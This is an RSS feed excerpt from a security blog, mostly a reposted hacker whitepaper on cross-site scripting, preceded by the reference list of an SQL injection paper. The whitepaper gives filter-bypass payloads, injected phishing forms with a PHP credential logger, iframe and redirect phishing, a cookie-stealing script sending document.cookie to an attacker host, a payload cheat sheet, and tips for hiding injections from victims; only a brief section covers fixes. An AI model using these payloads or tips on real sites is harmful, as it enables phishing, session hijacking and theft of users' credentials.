[12] Dominique Brezinski: A Weakness in CIFS Authentication.<br />
[13] GNU Project: GCC.<br />
[14] Guido Landi: Microsoft SQL Server &#8220;sp_replwritetovarbin()&#8221; Heap Overflow exploit. December 17, 2008.<br />
[15] H D Moore: MS08-068: Metasploit and SMB Relay. November 11, 2008.<br />
[16] Immunity Security Inc: Immunity CANVAS Professional.<br />
[17] John F. Reiser: Ultimate Packager for eXecutables. April 27, 2008.<br />
[18] Josh Buchbinder: The SMB Man-in-the-Middle Attack. March 31, 2001.<br />
[19] Luke Jennings: Security Implications of Windows Access Tokens. April 14, 2008.<br />
[20] Marco Ivaldi: Dynamic library for do_system() MySQL UDF. January 18, 2006.<br />
[21] Matt Miller: Metasploit&#8217;s Meterpreter. December 26, 2004.<br />
[22] Microsoft: Debug.<br />
[23] Microsoft: Microsoft Visual C++ 2008 Express Edition.<br />
[24] Microsoft:Vulnerability in SMB Could (KB957097). November 11, 2008.<br />
[25] Microsoft:Vulnerability in Microsoft SQL Server Could Allow Remote CodeExecution (KB959420). February 10, 2009.<br />
[26] Microsoft Help and Support: A detailed description of the Data Execution Pre-vention (DEP) feature. September 26, 2006.<br />
[27] Microsoft Help and Support: Converting Binary Data to Hexadecimal String.February 22, 2005.<br />
[28] Microsoft Help and Support: The &#8220;Understanding Data Execution Prevention&#8221;help topic incorrectly states the default setting for DEP in Windows Server 2003Service Pack 1. October 6, 2006.<br />
[29] Microsoft SQL Server 2000 Books Online: xp_cmdshell().<br />
[30] Microsoft SQL Server 2005 Books Online: xp_cmdshell(). November 2008.<br />
[31] Microsoft SQL Server 2008 Books Online: xp_cmdshell(). February 2009.<br />
[32] Microsoft SQL Server 2008 Books Online: WAITFOR (Transact-SQL). Febru-ary 2009.<br />
[33] Microsoft SQL Server 2008 Books Online:BULK INSERT (Transact-SQL).February 2009.<br />
[34] Microsoft SQL Server 2008 Books Online: xp_cmdshell (Transact-SQL). Febru-ary 2009.<br />
[35] MySQL 4.1 Reference Manual: Changes in MySQL 4.1.25. December 1, 2008.<br />
[36] MySQL 5.0 Reference Manual: Changes in MySQL 5.0.12. September 2, 2005.<br />
[37] MySQL 5.0 Reference Manual: CREATE FUNCTION Syntax.<br />
[38] MySQL 5.0 Reference Manual: Release Notes for MySQL Community Server5.0.67. August 4, 2008.<br />
[39] MySQL 5.1 Reference Manual: Changes in MySQL 5.1.19. May 25, 2007.<br />
[40] MySQL 5.1 Reference Manual: Server System Variables &#8211; plugin_dir.<br />
[41] MySQL 5.1 Reference Manual: Adding a New User-Defined Function.<br />
[42] MySQL 5.1 Reference Manual: Miscellaneous Functions: SLEEP().<br />
[43] MySQL 5.1 Reference Manual: Information Functions: BENCHMARK().<br />
[44] MySQL 5.1 Reference Manual: LOAD_FILE() String Function.<br />
[45] MySQL 5.1 Reference Manual: Privileges Provided by MySQL.<br />
[46] MySQL 5.1 Reference Manual: LOAD DATA INFILE Syntax.<br />
[47] MySQL 5.1 Reference Manual: String Functions.<br />
[48] MySQL 5.1 Reference Manual: SELECT Syntax.<br />
[49] MySQL 5.1 Reference Manual: INSERT Syntax.<br />
[50] MySQL 5.1 Reference Manual: UPDATE Syntax.<br />
[51] MySQL 5.1 Reference Manual: CREATE FUNCTION Syntax.<br />
[52] MySQL 6.0 Reference Manual: CREATE FUNCTION Syntax.<br />
[53] MySQL Connector/Net 5.2.<br />
[54] MySQL Connector/OBDC 5.1.<br />
[55] Nico Leidecker: Having Fun With PostgreSQL. June 5, 2007.<br />
[56] Nico Leidecker: pgshell.<br />
[57] Open Web Application Security Project: Guide to SQL Injection. August 2008.<br />
[58] Open Web Application Security Project: OWASP Top Ten &#8211; Injection Flaws.July 2007.<br />
[59] Open Web Application Security Project: Testing PostgreSQL.<br />
[60] PostgreSQL 8.3 Manual: Release Notes for PostgreSQL 8.2. December 5, 2005.<br />
[61] PostgreSQL 8.3 Manual: Date/Time Functions and Operators: Delaying Exe-cution.<br />
[62] PostgreSQL 8.3 Manual: Set Returning Functions.<br />
[63] PostgreSQL 8.3 Manual: COPY.<br />
[64] PostgreSQL 8.3 Manual: String Functions and Operators.<br />
[65] PostgreSQL 8.3 Manual: Large Objects.<br />
[66] PostgreSQL 8.3 Manual: Large Objects Server-Side Functions.<br />
[67] PostgreSQL 8.3 Manual: pg_largeobject.<br />
[68] PostgreSQL 8.3 Manual: CREATE.<br />
[69] PostgreSQL 8.3 Manual: INSERT.<br />
[70] PostgreSQL 8.3 Manual: UPDATE.<br />
[71] PostgreSQL 8.3 Manual: Procedural Languages.<br />
[72] PostgreSQL 8.3 Manual: C-Language Functions.<br />
[73] PostgreSQL Npgsql .Net Data Provider.<br />
[74] rain.forest.puppy: NT Web Technology Vulnerabilities. Phrack Magazine Volume8, Issue 54. December 25, 1998.<br />
[75] Roland Bouman: Creating MySQL UDFs with Microsoft Visual C++ Express.September 24, 2007.<br />
[76] The Metasploit Project: Metasploit Framework 3.<br />
[77] The Metasploit Project: Microsoft Windows SMB Relay Code Execution exploit.<br />
[78] The Metasploit Project: Multi-handler exploit.<br />
[79] UDF Repository for MySQL: lib_mysqludf_sys shared library. January 25, 2009.<br />
[80] Wikipedia on Dynamic-link library.<br />
[81] Wikipedia on Shared Object.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/advanced-sql-injection-to-operating-system-full-control/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Advanced XSS Knowledge</title>
		<link>http://www.0x50sec.org/advanced-xss-knowledge/</link>
		<comments>http://www.0x50sec.org/advanced-xss-knowledge/#comments</comments>
		<pubDate>Mon, 10 Jan 2011 10:22:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1009</guid>
		<description><![CDATA[&#60;&#124;-[___________________________________________________________________________]-&#124;&#62; -                                                                             - -                          [ Advanced XSS Knowledge ]                         - -                             written by novaca!ne                            - -                                                                             - &#60;&#124;-[___________________________________________________________________________]-&#124;&#62; # Author: novaca!ne # Date:   23.03.2010 .°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°. Contact: novacaine@no-trace.cc  ° Website: www.novacaine.biz      . ° Artwork by: Vincenzo            . ° Greetz fly out to:              . ° Vincenzo, J0hn.X3r, fred777,    . h0yt3r, Easy Laster, td0s,      ° Lorenz, Montaxx, maoshe, [...]]]></description>
			<content:encoded><![CDATA[<p>&lt;|-[___________________________________________________________________________]-|&gt;<br />
-                                                                             -<br />
-                          [ Advanced XSS Knowledge ]                         -<br />
-                             written by novaca!ne                            -<br />
-                                                                             -<br />
&lt;|-[___________________________________________________________________________]-|&gt;</p>
<p># Author: novaca!ne<br />
# Date:   23.03.2010</p>
<p>.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.<br />
Contact: novacaine@no-trace.cc  °<br />
Website: www.novacaine.biz      .<br />
°<br />
Artwork by: Vincenzo            .<br />
°<br />
Greetz fly out to:              .<br />
°<br />
Vincenzo, J0hn.X3r, fred777,    .<br />
h0yt3r, Easy Laster, td0s,      °<br />
Lorenz, Montaxx, maoshe, Palme  .<br />
and free-hack.com               °<br />
.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.</p>
<p>.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.<br />
Index:                                °<br />
&#8211;(  I  ]&gt; Introduction               .<br />
°<br />
&#8211;( II  ]&gt; What exactly is XSS ?      .<br />
°<br />
&#8211;( III ]&gt; How to execute XSS commands.<br />
°<br />
&#8211;( IV  ]&gt; Bypass techniques          .<br />
°<br />
&#8211;(  V  ]&gt; What can we do with XSS ?  .<br />
°<br />
&#8211;( VI  ]&gt; How to fix XSS leakages    .<br />
°<br />
&#8211;( VII ]&gt; Cheat Sheets               .<br />
°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°</p>
<p><span id="more-1009"></span></p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( I   ]&gt; Introduction<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ Dear reader, I wrote this Whitepaper to sum up everything I know about XSS.<br />
$ It was written to share knowledge, knowledge should be free and aviable<br />
$ for everyone.<br />
$ You can post and copy this Whitepaper as much as you want, but respect the<br />
$ author&#8217;s copyrights.</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( II  ]&gt; What exactly is XSS ?<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ &#8220;XSS&#8221; is a short form for: &#8220;Cross Site Scripting&#8221; as you can see by the name , XSS<br />
$ deals with scripting. To be more exact: Javascript (in rare cases you can even<br />
$ inject php code). It&#8217;s about injecting (almost) every Javascript (and html/css)<br />
$ command/script in a website.<br />
$ XSS flaws comes up everytime a website doesn&#8217;t filter the attackers input.<br />
$ In other words:<br />
$ the attacker can inject his malicious script into a website, and the browser just<br />
$ run&#8217;s the code or script.</p>
<p>$ There are 3 types of XSS, I&#8217;m going to talk about the 2 most used:<br />
$ Reflected XSS Attack:<br />
$ When a attacker inject his malicious script into a searchquery, a searchbox,<br />
$ or the end of an url, it&#8217;s called Reflected XSS Attack. It&#8217;s like throwing a ball<br />
$ against a wall and receive him back.</p>
<p>$ Stored XSS Attack:<br />
$ Is when an injected XSS script is stored permanent on a website, for example in<br />
$ a guestbook or bulletin board. Stored XSS hit&#8217;s everyone who just reaches the<br />
$ site with the malicious code.</p>
<p>$ DOM based XSS:<br />
$ This is a rare used method, perhaps I&#8217;m going to write another Whitepaper about<br />
$ DOM based XSS attack.</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( III ]&gt; How to execute XSS commads<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ Actually, injecting a XSS script is very easy. To check if the target website is<br />
$ vulnerable,just look out for a searchbox or something.<br />
$ Let&#8217;s say this is how a simple, unsecured searchfunction looks like:</p>
<p>content of index.html</p>
<p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;Google&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;</p>
<p>&lt;form method=&#8221;get&#8221; action=&#8221;search.php&#8221;&gt;<br />
Google:<br />
&lt;input type=&#8221;text&#8221; name=&#8221;search&#8221; size=&#8221;20&#8243; /&gt;<br />
&lt;input type=&#8221;submit&#8221; value=&#8221;Submit&#8221; /&gt;<br />
&lt;/form&gt;</p>
<p>&lt;/body&gt;<br />
&lt;/html&gt;</p>
<p>content of google.php</p>
<p>&lt;?php echo $_GET['search']; ?&gt;</p>
<p># I&#8217;m going to use this script as an example for the rest of this paper #</p>
<p>$ Let&#8217;s say this script is stored on a webspace, when I type in:<br />
$ 123<br />
$ then it leads me to the url:</p>
<p>http://site.ru/google.php?search=123</p>
<p>$ and shows me</p>
<p>123</p>
<p>$ But now, let&#8217;s try to inject a simple javascript alertmessage :</p>
<p>&lt;script&gt;alert(&#8220;turtles&#8221;);&lt;/script&gt;</p>
<p>$ and send it.<br />
$ You can replace &#8220;turtles&#8221; with any other word you want, and even use &#8216; &#8216; instead<br />
$ of &#8221; &#8221; for example:</p>
<p>&lt;script&gt;alert(&#8217;1234&#8242;);&lt;/script&gt;</p>
<p>$ But I&#8217;m keep using &#8220;turtles&#8221; as example for the rest of this paper.<br />
$ The target website let&#8217;s us know if it&#8217;s vulnerable when it prints a popup containing</p>
<p>$ |=========|    |======|<br />
$ | turtles | or | 1234 |<br />
$ |=========|    |======|</p>
<p>$ Instead of the called code, we can even inject every simple html tags e.g.:</p>
<p>&lt;h1&gt;&lt;font color=&#8221;#00FF00&#8243;&gt;I like turtles&lt;/font&gt;&lt;/h1&gt;</p>
<p>$ and send it.<br />
$ Also, you can paste the code at the end of the url, and visit the site like:</p>
<p>www.site.ru/google.php?search=&lt;script&gt;alert(&#8216;turtles&#8217;);&lt;/script&gt;</p>
<p>$ or</p>
<p>www.site.ru/google.php?search=&lt;h1&gt;&lt;font color=&#8221;#00FF00&#8243;&gt;I like turtles&lt;/font&gt;&lt;/h1&gt;</p>
<p># It&#8217;s like the attacker is determining the content of the website. #</p>
<p>$ But even if this doesn&#8217;t work, there&#8217;s no reason to worry: that means the website<br />
$ uses filter techniques to avoid XSS flaws. But there are also ways to<br />
$ bypass those filters. How this works, you&#8217;re going to read in the next chapter.</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( IV  ]&gt; Bypass techniques<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ There are a lot of ways to bypass XSS filters on websites, I&#8217;ll number some:</p>
<p>$ 1.) magic_quotes_gpc=ON bypass<br />
$ 2.) HEX encoding<br />
$ 3.) Obfuscation<br />
$ 4.) Trying around</p>
<p>$ 1.) magic_quotes_gpc=ON is a php setting (php.ini).<br />
$     It causes that every &#8216; (single-quote), &#8221; (double quote) and  \ (backslash)<br />
$     are escaped with a backslash automatically. It&#8217;s also a wellknown method<br />
$     to avoid XSS flaws, although it&#8217;s exploitable.</p>
<p>$ How to bypass it when it&#8217;s ON? &#8211; use the javascript function called<br />
$ String.fromCharCode(), just convert your text in decimal characters<br />
$ (e.g. here: http://www.asciizeichen.de/tabelle.html) and put them in the handling.</p>
<p>$ Using &#8220;turtles&#8221; (without quote sign) will look like this:</p>
<p>String.fromCharCode(116, 117, 114, 116, 108, 101, 115)</p>
<p>$ now insert this in your alert script:</p>
<p>www.site.ru/google.php?search=&lt;script&gt;alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));&lt;/script&gt;</p>
<p>$ What happened? &#8211; this function converts decimal characters to ascii characters,<br />
$ so the script tells encodet: &#8220;turtles&#8221; and decodes it in one step,<br />
$ bit complicated, but useful to evade XSS filters.</p>
<p>$  2.) HEX encoding is a useful bypass method, too. Using this step will encode<br />
$      your script, so you can&#8217;t see what the code will cause.<br />
$      This is how</p>
<p>&lt;script&gt;alert(/turtles/);&lt;/script&gt;</p>
<p>$ looks like encrypted in HEX:</p>
<p>www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E</p>
<p>$ (note: i used &#8220;/turtles/&#8221; (without quote sign) because just &#8220;turtles&#8221; didn&#8217;t work).</p>
<p>$ 3.) Obfuscation &#8211; sometimes website administrator simply put words like<br />
$     &#8220;script&#8221;,&#8221;alert()&#8221;,&#8221;&#8221;&#8221; on the &#8220;badwords list&#8221;, that means, when you<br />
$     search for &#8220;script&#8221; on the website, it just shows you an error, like<br />
$     &#8220;you are not allowed to search for this word&#8221; or something.<br />
$     but this is a weak protection, you can bypass it using obfuscation.<br />
$     your javascript code like:</p>
<p>&lt;sCrIpT&gt;alert(&#8216;turtles&#8217;);&lt;/ScRiPt&gt;</p>
<p>$     There are like unlimited possibilities, but that leads us to the<br />
$     next chapter&#8230;</p>
<p>$ 4.) Trying around: sometimes you just got to try around, because every website<br />
$     is secured/unsecured in a different, unique way. Some doesn&#8217;t even use<br />
$     cookies for example. Alway&#8217;s keep a look at the website&#8217;s sourcecode!<br />
$     Sometimes you need to adjust your XSS script, like:</p>
<p>&#8220;&gt;&lt;script&gt;alert(/turtles/);&lt;/script&gt;</p>
<p>$ This you need sometimes if you injected your code into a searchbox e.g. and<br />
$ interrupt a html tag, so you first need to close him, then start a new<br />
$ tag (&lt;script&gt;&#8230;).</p>
<p>$ Anyway, there are lot&#8217;s of different methods how to bypass XSS filtration,<br />
$ try around !</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;(  V  ]&gt; What can we do with XSS ?<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ Til now I showed you how to spawn a javascript alert message on a website.<br />
$ But now I&#8217;ll show you how harmful such a XSS flaw can be for your website. Here are<br />
$ some attack techniques you can do with a XSS flaw:</p>
<p>$ 1.) Inject a Phishing script<br />
$ 2.) Iframe Phishing<br />
$ 3.) Rediriction Phishing<br />
$ 4.) Cookie stealing</p>
<p>$ 1.) Phishing script inject: Just inject a &#8216;user&#8217; and &#8216;passwort&#8217; field in html<br />
$     (With the &lt;html&gt; and &lt;body&gt; tags), that the victim may think he need&#8217;s<br />
$     to login to the target site.</p>
<p>$ Here an example:</p>
<p>www.site.ru/google.php?search=&lt;html&gt;&lt;body&gt;&lt;head&gt;&lt;meta content=&#8221;text/html; charset=utf-8&#8243;&gt;&lt;/meta&gt;&lt;/head&gt;<br />
&lt;div style=&#8221;text-align: center;&#8221;&gt;&lt;form Method=&#8221;POST&#8221; Action=&#8221;http://www.phishingsite.ru/phishingscript.php&#8221;&gt;<br />
Phishingpage :&lt;br /&gt;&lt;br/&gt;Username :&lt;br /&gt; &lt;input name=&#8221;User&#8221; /&gt;&lt;br /&gt;Password :&lt;br /&gt;<br />
&lt;input name=&#8221;Password&#8221; type=&#8221;password&#8221; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;input name=&#8221;Valid&#8221; value=&#8221;Ok !&#8221; type=&#8221;submit&#8221; /&gt;<br />
&lt;br /&gt;&lt;/form&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;</p>
<p>content of phishingscript.php</p>
<p>&lt;?php<br />
$login = $_POST['user'];<br />
$password = $_POST['Password'];<br />
$open = fopen(&#8216;log.txt&#8217;, &#8216;a+&#8217;);<br />
fputs($open, &#8216;Username : &#8216; . $login . &#8216;&lt;br &gt;&#8217; . &#8216;<br />
Password : &#8216; . $password . &#8216;&lt;br &gt;&#8217; . &#8216;&lt;br &gt;&#8217;);<br />
?&gt;</p>
<p>$ 2.) Iframe Phishing: Simple thing, just inject a javascript code containing an<br />
$     iframe where your phishing site is embeeded.<br />
$     Obviously it needs to look just like the target site.</p>
<p>$ Here an example:</p>
<p>www.site.ru/google.php?search=&lt;iframe src=&#8221;http://www.yourphishingsite.ru&#8221; height=&#8221;100%&#8221; width=&#8221;100%&#8221;&gt;&lt;/iframe&gt;</p>
<p>$ (Note: height=&#8221;100%&#8221; width=&#8221;100%&#8221; means that the whole window is filled with<br />
$ that iframe.)<br />
$ The target site will spawn your phishing site in an Iframe, and the website user / victims won&#8217;t see a<br />
$ difference and log in (If they&#8217;re are foolish enough).</p>
<p>$ 3.) Rediriction Phishing: Also simple, just inject a javascript rediriction<br />
$     script that leads to your phishingsite, of course it needs to look just<br />
$     like the target site.</p>
<p>$ Here an example:</p>
<p>www.site.ru/google.php?search=&lt;script&gt;document.location.href=&#8221;http://www.yourphishingsite.ru&#8221;&lt;/script&gt;</p>
<p>$ or</p>
<p>www.site.ru/google.php?search=&lt;META HTTP-EQUIV=&#8221;refresh&#8221; CONTENT=&#8221;0; URL=&#8221;http://www.yorphishingsite.ru&#8221;&gt;</p>
<p>$ 4.) Cookie stealing: One of the feared things in XSS flaws is the cookie stealing<br />
$     attack. In this method you need to do following:</p>
<p>$     Place this cookiestealer.php in your hoster, and then inject a javascript<br />
$     with your cookiestealer script embedded on your target website.</p>
<p>content of cookiestealer.php (found it somewhere with google)</p>
<p>&lt;?php<br />
$cookie = $HTTP_GET_VARS["cookie"];<br />
$file = fopen(&#8216;log.txt&#8217;, &#8216;a&#8217;);<br />
fwrite($file, $cookie . &#8220;nn&#8221;);<br />
fclose($file);<br />
?&gt;</p>
<p>$ Save it as cookiestealer.php and create a &#8216;log.txt&#8217; and upload both files<br />
$ on your own webspace, in the same directory and set &#8220;chmod 777&#8243;.</p>
<p>$ Inject the following code in your target website:</p>
<p>http://www.site.ru/google.php?search=&lt;script&gt;location.href = &#8216;http://phishingsite.ru/cookiestealer.php?cookie=&#8217;+document.cookie;&lt;/script&gt;</p>
<p>$ Then the victim&#8217;s cookie (target&#8217;s website user who visited the url above) should<br />
$ appear in the log.txt.<br />
$ Now you simply need to insert the cookie (with e.g. live http headers firefox addon)<br />
$ and use it.</p>
<p>$ Obviously you need to replace</p>
<p>http://www.yourphishingsite.ru</p>
<p>$ With the url of your phishingsite.</p>
<p># PROTIP: rename your &#8216;cookiestealer.php&#8217; to something like &#8216;turtles.php&#8217;, #<br />
# this looks less suspicous.                                               #</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( VI  ]&gt; How to fix XSS leakages<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ XSS flaws can be very dangerous for your website, even though you can easily<br />
$ secure your own website using the following functions.</p>
<p>##########################################################<br />
#                                                        #<br />
# htmlspecialchars()                                     #<br />
# http://php.net/manual/de/function.htmlspecialchars.php #<br />
#                                                        #<br />
##########################################################</p>
<p>Example usage:</p>
<p>google.php:</p>
<p>&lt;?php echo htmlspecialchars($_GET['search']); ?&gt;</p>
<p>$ OR</p>
<p>##########################################################<br />
#                                                        #<br />
# htmlentities()                                         #<br />
# http://php.net/manual/de/function.htmlentities.php     #<br />
#                                                        #<br />
##########################################################</p>
<p>Example usage:</p>
<p>google.php:</p>
<p>&lt;?php echo htmlentities($_GET['search']); ?&gt;</p>
<p>$ What happened? &#8211; the function simply replaced every specialchar to a harmless html char.<br />
$ For example when I enter</p>
<p>&lt;script&gt;alert(&#8220;turtles&#8221;);&lt;/script&gt;</p>
<p>$ it appears</p>
<p>&lt;script&gt;alert(&#8220;turtles&#8221;);&lt;/script&gt;</p>
<p>$ But without any popup, because the &lt;,&gt;,&#8217;,&#8221;<br />
$ turned into &lt;,&gt;,&#8217;,&#8221;<br />
$ The attackers input has become a harmless, unexecutable html code.</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( VII ]&gt; Cheat Sheets<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
$ Here is the XSS cheat sheet, where I got most of them from http://ha.ckers.org/xss.html.<br />
$ Enjoy.</p>
<p>&#8221;;!&#8211;&#8221;&lt;XSS&gt;=&amp;{()}</p>
<p>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</p>
<p>&lt;IMG SRC=&#8221;javascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8220;XSS&#8221;)&gt;</p>
<p>&lt;IMG SRC=`javascript:alert(&#8220;RSnake says, &#8216;XSS&#8217;&#8221;)`&gt;</p>
<p>&lt;IMG &#8220;&#8221;"&gt;&lt;SCRIPT&gt;alert(&#8220;XSS&#8221;)&lt;/SCRIPT&gt;&#8221;&gt;</p>
<p>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=&#8221;jav    ascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>&lt;IMG SRC=&#8221;jav    ascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>&lt;IMG SRC=&#8221;jav<br />
ascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>#############################################################<br />
#                                                           #<br />
# PROTIP FOR EVERY XSS INJECTION:                           #<br />
# use url shortener services such as tinyurl.com or bit.ly  #<br />
# to &#8216;hide&#8217; your injection, so the victim won&#8217;t know what&#8217;s #<br />
# behind that url.                                          #<br />
#                                                           #<br />
#############################################################</p>
<p>END OF FILE</p>
<p>Hol dir das Gratis-Geschenkpaket von Windows 7 für deinen PC ab!</p>
<p># hack0wn.com [2010-03-28]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/advanced-xss-knowledge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

